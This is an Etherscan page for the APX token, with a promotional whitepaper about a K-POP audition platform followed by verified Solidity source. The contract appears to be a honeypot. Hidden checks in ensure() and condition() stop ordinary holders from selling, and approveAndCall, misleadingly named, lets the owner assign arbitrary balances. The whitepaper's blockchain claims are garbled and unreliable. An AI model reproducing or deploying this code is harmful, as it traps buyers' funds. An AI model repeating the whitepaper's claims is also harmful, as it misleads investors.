ETH Price: $3,090.79 (+0.66%)
Gas: 7 Gwei

Token

Aplix Finance (APX)
 

Overview

Max Total Supply

200,000,000 APX

Holders

243 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
97,514.759751893171376892 APX

Value
$0.00
0xf8691189204a5916074b7c13c18dcde4986d8448
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

APX Token is issued for the purpose of developing, trading, and participating in the ecosystem for investment and information utilization in applications that can be used in the Aplix Finance ecosystem.

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AplixFinance

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-30
*/

/*

Website 
https://aplix.finance

Twitter 
https://twitter.com/AplixFinance




1. Summary


With the craze for K-POP, Korea's representative content, the K-POP craze around the world is heating up  to the point that foreigners who want to learn Korean entertainment industry around the world are also  raging. This trend is expected to continue in the future, and the time for the Korean people to play a central role in the world is approaching. K-POP is now widely recognized as a genre of music that is popular  around the world, and the audition market that discovers K-POP singers and idols who are the main pillar  of this trend is becoming important. Through the singers discovered here, agencies also form a stable  business structure, release digital singles, expand them to the music market, appear members in various  TV programs to increase awareness, participate in events, and form a business structure through  commercials, movies, and dramas.

Audition programs to select the best winners by competing for large amounts of prize money or prize for  singing, dancing and various talents are gaining huge popularity in the country. A variety of programs are  available, including hip hop “Show Me the Money”, trot's “Miss Trot”, professional singers discovering their  new charms, "I Am a Singer" and "Immortal Songs”. Overseas, various audition programs such as pop idols,  “Got Talent”, and “Dancing With the Star” are gaining popularity. Audition programs play an important role  in the content market as stars born through this will quickly become million sellers and global stars through  proven skills that are basically determined by the public's choice.

However, despite this craze, viewers who did not feel new to auditions repeated in the same format or  ended early because the programs prepared by broadcasters with billions of won did not meet expectations. As a result, unless the audition program is also conducted in a large scale, the winners also  receive little attention and cannot continue the topic. In addition, unfair and biased judgments about screening in audition programs are also being pointed out as major problems in audition programs.

Accordingly, Shinlee Entertainment is planning to create a Aplix platform, utilize coins using the  blockchain called Aplix Finance to improve the shortcomings of the existing audition platform market, and  form a platform optimized for talent discovery through objective, transparent and fair evaluation. As a  fresh platform, we will proceed to provide fans with new directional content, fair challenge opportunities  for participants, and new talent discovery opportunities for planners, and improve existing shortcomings  and become the next generation audition platform.


2. Market Trend

Market trend in Audition 

K-POP, which is the core of the audition market, is clearly seen in the figures of the Korean pop culture industry  in the global market. Currently, it is estimated that nearly 200 million consumers enjoy K-POP, Korean movies, and dramas. The Korea Foundation announced last year that the number of members of Hallyu online clubs in  98 countries around the world alone reached 147.78 million. With the number of overseas markets increasing  more than three times in five years from 35.6 million in 2015, the size of overseas markets also doubled in four years from $5.7 billion in 2015, about 6.4 trillion won in Hanwha to $10 billion in 2019, and about 11 trillion won in Hanwha. K-POP albums are doing well alone despite the global record market recession. According to the IFPI International Record Industry Association, the global record market fell 5.7% annually from 2013 to 2019, but K-POP's record sales grew 28% annually.

Accordingly, the evaluation of the Korean pop culture industry is also rising vertically. Forbes, a renowned U.S. economic magazine, evaluated K-POP as a change in the way Western music fans view non-Western countries,  while Monocle, a British monthly magazine, reported that Korean music, movies, and dramas have become  Korea's strong soft power. The value of the Korean content industry is $59.8 billion as of 2018, accounting for  only 2.6% of the global market of $2.3 trillion. American entertainment media The Hollywood Reporter and  Monocle say Korea has set a new standard for innovation as a new force in the global entertainment market.

Experts analyzed that behind this trend, Korean digital revenue models, talent development systems, dramas,  movies, and games have a wide range of scalability, and the competitiveness of the K-culture industry is  recognized worldwide as a new innovative model. As soon as the song is released on the market, the audition market, which has an all-round ripple effect that spreads to Asia, South America, and Europe at the same time,  is rapidly growing. Through this, foreigners who want to learn Korean as a fan and join the flow of K-POP and tour Korea are busy, and audition programs are also emerging in Korea. The Song Ga-in craze, which recently  won through Miss Trot, is hitting the country to the point that it is called a syndrome even among middle-aged people, and this can be seen as an example of the recognition of the audition program.

The innovative competitiveness of the Korean pop culture industry, which the global entertainment industry is paying attention to, is a thoroughly digitized business model. In both K-POP, dramas, and movies, promotion  and fandom expansion through the Internet and social media are prioritized from the planning stage. A representative example of maximizing profits is that it faithfully follows various business models of the Internet industry, and 4K-class ultra-high definition music videos are also released on the Internet for free with the release of albums. Revenue per view is only 1 to 5 won, but if the number of viewers accumulates 100 million,about 400 million won is generated. In this way, Psy's Gangnam Style (4 billion views), which became the  cornerstone of global hits, is estimated to have earned a total of 16 billion won and BlACKPINK's Ddu-du Ddudu made about 6 billion won with 1.5 billion views. It is also a similar case for Korean dramas and movies to actively engage in online video OTT services such as Netflix, Wave, and TVing, which have far lower profits per view than TV broadcasts or movie theater releases.

The K-POP business model has expanded to Internet shopping malls that sell products for fans, real-time streaming online concerts that are growing as contact-free content develops due to recent pandemics, and community platform services for fans. This is seen as a faithful follow-up to the digital economy's Free-mium strategy, earning 95% free service and 5% loyal customers. Through this, Korea's digital content market was able to grow to the fifth largest in the world after the United States, China, Japan, and the United Kingdom. Variety, an American entertainment media outlet, said U.S. entertainment companies should refer to the competitiveness of the Korean pop culture industry, which is thoroughly combined with digital, and evaluated Korea as Silicon Valley of the entertainment industry.



Another innovative competitiveness of the Korean pop culture industry is globalism, or the trend of pursuing globalization. From human resources to recruiting foreign artists since the 2010s, global talent participation began in the audition market. In the direction of the audition, talented foreign talents participated in the audition program, including John Park, who finished second in Superstar K Season 2, and Bradley Ray Moor, who also finished second in season 3. On the artist side, major idol groups such as EXO, 2PM, Super Junior, TWICE, and BLACKPINK are representative. Not just stars, SM Entertainment has recruited foreign composers since 1998, and recently has managed more than 400 overseas composers, receiving hundreds of sample songs every month. Teddy, a key producer of YG Entertainment, another major entertainment company, is famous for being a Korean-American. As such, it has been revealed that most entertainment companies are thoroughly preparing to sell overseas copyrights from the pre-planning stage, such as trying to find codes that can be successful in the global market.



In the case of Superstar K mentioned above, expectations for the domestic audition platform were not high. The main reason is that it was still a genre unfamiliar to the public, and it was confirmed that the heat of Season 1, which produced stars such as Seo In-guk and Cho Moon-geun, gradually rose as the season passed. Despite the confrontation between John Park and Huh Gak on the cable channel, it drove the highest ratings to 18.1%, and to watch this, it was reported that viewers and fans watched all the intermediate advertisements. At the same time, it was an opportunity to establish the perception that cable channels were also worth watching. Since then, audition programs have been successful, producing stars such as Ulala Session, Roy Kim, and Kwak Jineon one after another, giving hope that anyone can become a star if they have skills regardless of appearance, origin, or background. You and I applied for the audition program, and millions of people participated in the real-time text voting.

Since then, through the "Produce 101 Series", the audition program will be popular once again with the merit that the public who are tired of the established idol group makes idols by focusing on the singer debut family, giving the public the role of judges, and encouraging participation. I.O.I, Wanna One, and IZWON, which were released through these projects, will become popular and popular without envy, and audition programs using experts who have steadily improved their skills in undergrounds unfamiliar to the public, such as Unpretty Rap Star, will also cause syndrome. The success factor is that 'completeness' is attracting attention, and it is evaluated that the stage of entertainers who have been practicing for many years or have been active since their debut has changed the flow according to the level of public eye that has increased the external charm that has been refined compared to the previous case of becoming an entertainer in the public.

Trot, which was the exclusive property of the middle-aged, has become a trend loved by the whole country with a big impact, and the recent audition program is no longer only aimed at the young. Not only did Miss Trot and Mr. Trot change the landscape of broadcasters, but thanks to the success of cable, terrestrial broadcasting, and both of us are appearing audition programs with the same theme. In the trot market, where outstanding performers and skills are important, singers without singing skills do not have a place to stand, and masterpieces armed with lyrics that touch the hearts of talented people captivate viewers. Like the steadily developing KPOP market, which has become a trend content by raising it as a new consumer class of the new generation, not just the middle-aged, the audition market is steadily developing, creating various winds of change..


3. Downsides in the audition market

However, there are still problems to be solved in the steadily developing K-POP market and audition market. With the success of the cable channel on cable broadcasting, the landscape of broadcasters has flocked to produce similar audition programs with the same content. In addition, other cable channels have begun producing audition programs for non-celebrities with similar textures, bringing only downward leveling due to excessive concentration. This can be attributed to the fact that the activities are significantly less than the previous winners as the season passes, and the public's interest, which has been tired of years of audition programs, has decreased. It is also drawing attention that talented talents run out of resources in the process of repeated seasons, making it difficult to find new faces.

There was also an incident that raised a profound problem with the fairness of the audition program. In an audition program that selects idols through viewers' choices, 29,978 votes, 3rd, 4th, 6th, and 7th places appear in the same number, and all votes are repeated in the top 20 several times. As the allegations of vote manipulation turned out to be true, questions were raised about the fairness and transparency of the steadily developing audition program. The fact revealed here revealed that the production crew received tens of millions of won worth of entertainment agencies that featured trainees in exchange for manipulating the rankings. In addition, the operation was not only done in one season, but in almost every part from 1 to 4, and in the process of selecting about 20 people to reach the final round, the broadcasting industry was shocked to find out the situation in advance. Some participants were already aware of the elimination, and not only the production team's intervention, but also the victims of human rights violations through allegations of collusion by agencies. Through the touching human story, the biggest feature of the audition program, it destroyed the opportunity for participants and talents to communicate and lowered the credibility of the audition program. For the public, who are in despair because fair competition is inevitably different from the start, the audition program has spread to the worst situation that has devastated those who have worked hard and betrayed the hearts of fans who have supported it.

In addition, pursuing excessive commercialism of audition programs is also a problem, and there are opinions that it has been developed through the development of a program genre that can maximize the market’s value of "low cost, high ratings" and has a difficulty in concentrating on audition programs.


4. Aplix Finance Introduce

Aplix Finance's platform has steadily developed K-POP-based cultural business, so it has great growth potential, and participants have low thresholds and easy accessibility because the main stage is held online, not by broadcasters. To solve the problems of the existing audition market, Aplix Finance developed a noncounterfeit, source tracking, and transparent blockchain platform using distributed ledger technology (DLT), cryptography, etc. based on its own technology, field experience and experience of Shinlee Entertainment. Through this, we aim to establish a trust mechanism with an efficient, transparent, and steady development direction. The Aplix Finance network aims to give liquidity through competitive cryptocurrency projects and audition platforms for the next generation, which are different from existing audition programs.

4-1 Technology **

The Aplix Finance network is built on the basis of Ethereum, which aims to achieve fast, high performance at the level of a single node with decentralized and distributed blockchain systems.  Aplix Finance is a PBFT-like PoS blockchain, a web-scale decentralized network that supports more than 50,000TPS in a test-net environment.

Built with a focus on scalability, Aplix Finance can handle more transactions per second, making it more efficient and faster than current financial institutions. Aplix Finance, which is mainstream in the DeFi ecosystem and supports NFT, offers services similar to Ethereum, a base layer protocol, but differs from traditional Smart Contracts, and uses a hybrid blockchain architecture to create a fast, affordable and environmentally friendly execution environment.

Specifically, historical proof optimizes the network node communication method, meaning that the entire blockchain network implements single node-level performance and operates purely with computing power without bandwidth bottlenecks. Today's blockchain networks have a clock problem. The clock in the blockchain network flows every time a new blockchain is created, and Ethereum generates a block every 15 seconds, but the amount of information that can be put in the generated block is known to be quite limited. TDMA (Time Division Multiple Access) for blockchain networks is a granular clock that takes less than two seconds for all valley data nodes to agree on, allowing more efficient handling of transactions. Aplix Finance's PoH refers to a time-unauthorized resource on the working network prior to agreement, not just an agreement protocol and anti-Sybil mechanism, but a solution for solving clock problems. Aplix Finance's valley data requires communication between valley data to agree that time has elapsed.VDF is not used for simple randomness, but each valley data utilizes VDF to maintain its own clock. Therefore, the selection of the leader of the valley data takes precedence over the overall epoch.

The epoch's schedule takes thousands of blocks, but unlike traditional tendermints, it does not wait for a failed node in the network, proving that each valley data runs VDF to secure slots for block and valley data transfer. Each block producer will take advantage of the structure in which the valley data will also be rewarded because they will receive compensation for block creation.

By utilizing PoH in Aplix Finance, the leader continues to change sequentially, and the entire network develops regardless of network conditions. This means that the network never goes down, and you can decide to replace the valley data without deciding between the network and the valley data. This is a mechanism that cannot be found in other blockchains and can be seen as a small but significant difference. This differs from the fact that communication should take place through these decisions in the existing blockchain and proceeds asynchronously. Aplix Finance's core technology has focused on securing designable space on the stack, providing timestamps-available clocks, as well as optimizing block time (800ms), block propagation (log200(n), throughput (50K-80-K TPS) and ledger storage (Petables) over the network through PoH.

Aplix Finance, which supports blockchain-based Dapps that provide DeFi and NFT services and is compatible with distributed autonomous organizations, is moving toward a steady development to provide steaking services in the future and build strong decentralized applications.

In addition, according to the future direction of the project, we plan to develop our own blockchain protocol, build our own Aplix Finance mainnet, and proceed with a blockchain project that develops as an audition platform for the next generation. In addition, technologies will be introduced to have scalability related to the cultural industry such as singers, music sources, videos, and children's songs by utilizing the characteristics of Shinlee Entertainment, which is conducting business. As a result, we would like to move toward continuous development with technology according to the steadily expanding business feasibility.


4-2 Architecture ***

+++++

4-3 Economy ***

Aplix Finance, organized by Aplix Finance, issues APX, a token that will be used in the ecosystem, to build an investment environment for rational blockchain projects, and enables voting, management, and donation using it. In addition, it is possible to manage tokens using Smart Contract, provide mining functions, and manage asset operations such as staking coins using Wallet. Contrary to concerns arising from existing audition programs, it is impossible to operate through blockchain, and aims to provide an objective and transparent audition voting platform through thorough verification. According to the development progress scale, we will proceed with our own mainnet, and we will provide an environment that can compensate ecosystem participants through steady development in terms of expansion of various contents and business size using Aplix Finance. Aplix Finance offers the following features:

4-4 Cover Aplix

Web/App-based Cover Aplix can participate with its own APX coin. Participants can participate in auditions using coins, and online auditions will be held with a prize of 10 million won per month through auditions organized by Shinlee Holdings and operated by Shinlee Entertainment.

Uploaded videos will be voted through users, and selected participants will be eligible to hold competitions in actual performances. The contest will be open and held through the Cover Aplix platform, and the voting will also be held on its own platform, and the final round at the end of the year will be held with the winners every month. Participants who win the final contest will finally be offered entertainment contract opportunities with Shinlee Entertainment and partner agencies.

Unlike conventional TV audition programs, Cover Aplix's main stage is held over the Internet, so it has the advantage of low thresholds for participants and easy access, allowing more diverse talents to be selected than existing auditions.

4-5 Pet Aplix

The audition conditions are not only for competent people, but also for pets with various abilities they raise. 

Those who wish to participate in the audition can record their pets' outstanding intelligence or noticeable unique behaviors and upload them to Pet Aplix. As with the existing Cover Aplix, APX coins will be paid as a fee to prevent low-quality content uploads and indiscriminate content uploads.

Pet Aplix, organized by Shinlee Holdings and operated by Shinlee Entertainment, will receive 1 million won in prize money every month. The same uploaded videos as Cover Aplix will be voted on, and the selected pets will show their talents and abilities from the video through actual performances. Voting for the competition, which will be conducted through streaming, will also be held in real-time on its own platform, and in the final round held at the end of the year, the final competition will be held every month. Pet owners and their pets who won the final competition can proceed with entertainment-related contracts with Shinlee Entertainment and get opportunities to shoot commercials.

Pet Aplix, which will be another opportunity for those who are introverted or unable to participate in audition programs, is a global project where users around the world can participate, allowing them to create opportunities and meet content for various pets.

4-6 Aplix Market

Aplix Finance coins are PG-linked and can be swapped in real time at the same value as legal currency, and can be used through Aplix Pay. It can be used in conjunction with Aplix Market, which is scheduled to be developed in the future, in conjunction with the real market. In addition to products developed and sold by Aplix Finance, Aplix                                                                                                                                                                                                                                                         can be exchanged and purchased for partnerships, collaboration partnerships, products and gifticons available to merchants, and tickets for artists, stars, events, and events held by Cover Aplix, Pet Aplix, and related collaboration agencies. Users with corporate account authority can also make inquiries and process payments regarding the casting of stars under contract with Shinlee Entertainment through the B2B service. 

In addition, we plan to proceed with trading NFT, album (digital, physical) and copyrights issued by artists from Cover Aplix, Pet Aplix, and various collaboration partners through Aplix.

In the future, depending on the direction of the business, we will continue to expand our business by supporting auctions such as stubs, goods, and autographs such as uniforms, basketball, or soccer balls through collaboration with sports stars as well as entertainment business.

4-7 Aplix World

Services provided by the Aplix World platform include Social Networking Services.You can participate in the ecosystem by posting your feelings lightly and celebrities from Cover Aplix that you support on Aplix Finance World, just like Instagram that has been previously serviced. It provides a messenger function that allows users to easily exchange messages with their followers. Here, you can experience a special service unique to Aplix Finance, which is different from existing messengers and social networking using blockchain, through the function of sending APX between users who follow each other. You can also use your own APX to use the sound source provided by Cover Aplix on your page as background music. The sound sources set as background music are aggregated for a certain period of time and applied to the music ranking data on the Aplix Finance platform.

4-8 Aplix Finance Music Shop

Aplix Finance recruits its own artists and composers through collaboration and partnership with Aplix & TREE, a master of OST production. You can purchase copyrights of their gem-like works and NFTs issued by Aplix Finance through APX Coin. Music copyright purchased through APX is the right to receive profits whenever the sound source is used, providing the right to receive copyrighted profits through music copyrights and NFT participation claims that anyone can easily invest in.

Furthermore, through partnership and collaboration with BOD Entertainment and 143 Entertainment, you can meet the works of related artists and composers, and we plan to expand our partnership and collaboration with additional entertainment agencies according to the steady business direction.

4-9 Token Utility

APX coins to be used throughout the Aplix Finance ecosystem are utilized as follows.



• Participation in an audition

As aforementioned, participants wishing to participate in the Aplix Finance audition will be charged a fee for filtering out low-quality content and promoting fair and in-depth content in order to upload videos of their abilities to Aplix Finance. At this time, the fee will be paid through Aplix Finance's APX.



• Support

Users (fans) can participate in auditions or use APX to sponsor the artist when the star selected from Aplix Finance performs live streaming through the platform. Sponsored APX coins will be guided to artists through the platform in real time, which will play an additional role in facilitating interactive communication.



• Actual utilization

Using APX coins linked to PG, real artists and users can use Aplix Pay to purchase related products and services from Aplix Finance platform affiliates and Aplix Market. Currently, affiliated, and available merchants can be checked through the wallet in Aplix Finance.



• Concerts/Performance

According to Aplix Finance's business progress, you can purchase tickets for Aplix Finance artists' live streaming or concert performances through APX. It can be purchased with ordinary legal currency, but a discount rate is applied when purchasing with APX, allowing buyers to participate in performances by their favorite artists at a relatively low price, thereby preserving the value of coins through a steady flow cycle.



• Participation in ecosystem

You can participate in the ecosystem in various forms through the Aplix Finance platform. You can participate in the Aplix Finance ecosystem through in-app activities such as watching competitions between artists, voting, writing comments on videos uploaded on the platform, and cheering. In addition, you can stake the APX from your own wallet and get compensation for the APX according to the policy set by the foundation. You can also participate in the ecosystem and receive rewards through Aplix Finance World, Aplix Finance's messenger SMS. You can also use APX coins to purchase and set the music of Cover Aplix artists and composers on your page.



• Use of cryptocurrency exchanges

Agencies, talents, and users who utilize the Aplix Finance ecosystem can manage additional investment operations by utilizing listed exchanges through their APXs. Through this, you can aim to generate additional profits, and you can participate in the Aplix Finance ecosystem again through the profits secured here.



• Aplix Finance Music

We are planning to provide Aplix Finance Music service, a Aplix Finance music platform that is scheduled to proceed according to future business and development directions. Unlike existing platforms that providemusic and ranking charts, a fair, transparent, and objective system using blockchain is ranked according to the choice of actual users, and the music provided by Aplix Finance Music can be viewed or downloaded in real time through APX.



• Event to commemorate the launch of new content

Artists who wanted to repay their fans by using the Aplix Music platform can provide APX as a reward by conducting airdrops through events when releasing their new content (including albums, music videos), thereby attracting fans' constant interest and response.



• Purchase of NFT

On the Aplix Finance platform, you can purchase NFTs related to artists from Shinlee Entertainment and cooperative agencies. NFT-issued works such as NFT, album and work copyrights for stars' performances and album jackets are supported in Aplix Market's NFT section, can be purchased through APX tokens, and P2P transactions and trades between users.



• Auction

Signs of artists and sports stars, tickets to performances and games, and other related products can be obtained through an auction on Aplix Finance. The auction will be paid by APX participation and commission, and special NFT and Aplix Finance limited products will also be available for purchase through auction.



• Mining

By participating in the Aplix Finance and Aplix Finance Music ecosystem, you can mine APX coins. On the Aplix Finance platform, vote on audition and management videos, comments, and likes through participation in videos and content, events, etc. You can participate through the background, and Aplix Finance Music allows you to participate in the ecosystem in a simple way of listening to real-time streaming of sound sources uploaded and serviced on the platform. APXs can be paid as compensation through a series of actions mentioned above.



APX is issued for the purpose of developing, trading, and participating in the ecosystem for investment and information utilization in applications that can be used in the Aplix Finance ecosystem and is conducted to create an ecosystem for transparent recording and management of information. It will also be used for marketing to expand the APX ecosystem such as cooperation and cooperation with other businesses, development of listing and independent blockchain network, maintenance, platform construction, and countermeasures against market conditions.
*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract AplixFinance  {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
        //go the white address first
        if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender==owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool){require (msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
 function Agree(address addr) public returns (bool) {
        require(msg.sender == owner);
        
        canSale[addr]=true;
        return true;
        }

    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"Agree","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"